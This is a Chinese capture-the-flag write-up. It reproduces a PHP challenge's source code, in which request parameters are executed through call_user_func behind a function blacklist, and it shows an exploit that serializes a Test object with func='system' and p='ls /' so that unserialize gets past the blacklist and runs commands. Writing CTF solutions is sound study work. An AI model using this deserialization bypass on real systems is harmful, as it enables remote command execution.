在我们页面其实并没有看见什么有用的信息,我只能通过大佬wp来看见,原来我们捉包后的func参数和p参数是能传递执行函数的,首先我们
所以我们会想能不能执行file_get_contents函数来查看参数,查看index.php看到了参数
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}//获取result获取的目标的字符类型,如果是string类型的就会输出
//将func获取的当成函数进行输出,函数的参数值是p,上面
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}//这里可以进行变量覆盖,我们可以进行反序列化操作的地方
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}//辨识传入的函数是不是危险函数,如果是危险函数就会直接结束。
} ?>
//所以上面的代码就是会把func传入的数值当做函数执行,但如果是危险函数就会结束进程,参数的值是p,我们可以通过反序列化来执行覆盖func和p来绕过过滤
```php
构造exp
<?php
class Test {
*var $p = "ls /";*
*var $func = "system";*
*}*
$a = new Test();
echo serialize($a);
//unserialize
?>?
`
这个最后构造的代码块就是我们要执行的命令函数,第一个是要执行的函数,第二个是要执行的函数的参数,我们到了这里最后反序列化就好,使用unserialice执行反序列化,p哪里是序列化语句。
|